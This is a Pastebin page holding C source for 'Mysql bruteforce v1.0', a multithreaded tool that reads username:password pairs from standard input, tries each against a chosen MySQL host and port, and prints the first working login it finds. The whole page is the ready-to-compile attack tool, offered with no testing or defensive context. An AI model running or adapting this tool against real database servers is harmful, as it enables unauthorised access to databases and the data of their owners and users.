Advertisement
skygear

Mysql bruteforce v1.0

Feb 25th, 2012
326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.13 KB | None | 0 0
  1. /*
  2.  *      More info for compiling this code http://seclist.wordpress.com
  3.  *       By Arif S A.K.A Skygear
  4.  */
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <stdarg.h>
  8. #include <getopt.h>
  9. #include <string.h>
  10. #include <pthread.h>
  11.  
  12. #include <mysql/mysql.h>
  13.  
  14. int verbose = 0;
  15. int total = 0;
  16. volatile int quit = 0;
  17.  
  18. pthread_mutex_t mutex_pass =  PTHREAD_MUTEX_INITIALIZER;
  19.  
  20. struct args {
  21.     char *host;
  22.     char *db;
  23.     int port;
  24. };
  25.  
  26. void print_help(FILE *fp, char *app) {
  27.     fprintf(fp, "Usage: %s [<options>]\n", app);
  28.     fprintf(fp, "\n");
  29.     fprintf(fp, "     -h          Print this help and exit\n");
  30.     fprintf(fp, "     -v          Verbose. Repeat for more info\n");
  31.     fprintf(fp, "     -t <host>   host to try\n");
  32.     fprintf(fp, "     -p <port>   port to connect on\n");
  33.     fprintf(fp, "     -n <num>    number of threads to use\n");
  34.     fprintf(fp, "\n");
  35.     fprintf(fp, "Note: usernames / password will be read from stdin\n");
  36.     fprintf(fp, "The format for this is username:password\n");
  37.     fprintf(fp, "\n");
  38. }
  39.  
  40. int try(char *hostname, char *username, char *password, char *db, int port) {
  41.     MYSQL mysql;
  42.     mysql_init(&mysql);
  43.  
  44.     if (!mysql_real_connect(&mysql, hostname, username, password, db, port, NULL, 0)) {
  45.         switch(mysql_errno(&mysql)) {
  46.             case 1045: /* ER_ACCESS_DENIED_ERROR */
  47.                 if (verbose >= 1)
  48.                     printf("Failed: %d %s\n", mysql_errno(&mysql), mysql_error(&mysql));
  49.                 break;
  50.             default:
  51.                 printf("Unknown Error: %d -> %s\n",  mysql_errno(&mysql),  mysql_error(&mysql));
  52.                 break;
  53.         }
  54.         return 0;
  55.     }
  56.    
  57.     if (verbose >= 1)  
  58.         printf("Success: %d %s\n", mysql_errno(&mysql), mysql_error(&mysql));
  59.  
  60.     mysql_close(&mysql);
  61.     return 1;
  62. }
  63.  
  64. int getpassword(char **buf, size_t *buflen, char **username, char **password) {
  65.  
  66.     pthread_mutex_lock(&mutex_pass);
  67.  
  68.     if (getline(buf, buflen, stdin) >= 0) {
  69.         pthread_mutex_unlock(&mutex_pass);
  70.         char *tmp = strchr(*buf, ':');
  71.         if (tmp == 0 || tmp[1] == 0)
  72.             return 0;
  73.         *username = *buf;
  74.         *tmp = 0;
  75.         tmp++;
  76.         *password = tmp;
  77.         tmp = strchr(*password, '\n');
  78.         if (tmp != 0)
  79.             *tmp = 0;
  80.         if (verbose >= 2)
  81.             printf("username: %s password: %s\n", *username, *password);
  82.         return 1;
  83.     }
  84.  
  85.     pthread_mutex_unlock(&mutex_pass);
  86.     return 0;
  87. }
  88.  
  89. void *run(void *p) {
  90.     struct args *a = (struct args *) p;
  91.     char *buf = 0;
  92.     size_t buflen = 0;
  93.     char *user = 0;
  94.     char *pass = 0;
  95.  
  96.     while(quit == 0) {
  97.         if (getpassword(&buf, &buflen, &user, &pass) == 0)
  98.             goto free; /* we ran out of passwords */
  99.  
  100.         if (try(a->host, user, pass, a->db, a->port)) {
  101.             printf("Success! Username: %s Password: %s\n", user, pass);
  102.             quit = 1;
  103.             goto free;
  104.         }
  105.     }
  106.  
  107. free:
  108.     if (buf != NULL)
  109.         free(buf);
  110.  
  111.     pthread_exit(NULL);
  112.     return NULL;
  113. }
  114.  
  115. int main(int argc, char **argv) {
  116.     struct args args;
  117.     pthread_t *thd;
  118.     pthread_attr_t attr;
  119.     int nthreads = 1;
  120.     int i = 0;
  121.     int c;
  122.  
  123.     memset(&args, 0, sizeof(args));
  124.  
  125.     while( (c = getopt(argc, argv, "d:hn:p:t:v")) != -1) {
  126.         switch(c) {
  127.             case 'd':
  128.                 args.db = optarg;
  129.                 break;
  130.             case 'h':
  131.                 print_help(stdout, argv[0]);
  132.                 exit(EXIT_SUCCESS);
  133.                 break;
  134.             case 'n':
  135.                 nthreads = atoi(optarg);
  136.                 break;
  137.             case 't':
  138.                 args.host = optarg;
  139.                 break;
  140.             case 'v':
  141.                 verbose++;
  142.                 break;
  143.             case 'p':
  144.                 args.port = atoi(optarg);
  145.                 break;
  146.         }
  147.     }
  148.    
  149.     if (args.db == NULL)
  150.         args.db = "mysql";
  151.  
  152.     if (args.host == NULL)
  153.         args.host = "localhost";
  154.  
  155.     thd = malloc(nthreads * sizeof(*thd));
  156.     if (!thd) {
  157.         perror("malloc");
  158.         exit(EXIT_FAILURE);
  159.     }
  160.    
  161.     mysql_library_init(0, NULL, NULL); 
  162.  
  163.     if (pthread_attr_init(&attr) != 0) {
  164.         perror("pthread_attr_init");
  165.         exit(EXIT_FAILURE);
  166.     }
  167.  
  168.     if (pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE) != 0) {
  169.         perror("pthread_attr_setdetachstate");
  170.         exit(EXIT_FAILURE);
  171.     }
  172.  
  173.     for(i=0;i<nthreads;i++) {
  174.         if (pthread_create(&thd[i], NULL, run, &args) != 0) {
  175.             perror("pthread_create");
  176.             exit(EXIT_FAILURE);
  177.         }
  178.     }
  179.  
  180.     for(i=0;i<nthreads;i++) {
  181.         if (pthread_join(thd[i], NULL) != 0) {
  182.             perror("pthread_join");
  183.             exit(EXIT_FAILURE);
  184.         }
  185.     }
  186.  
  187.     pthread_attr_destroy(&attr);
  188.  
  189.     free(thd); 
  190.  
  191.     mysql_library_end();
  192.     return EXIT_SUCCESS;
  193. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement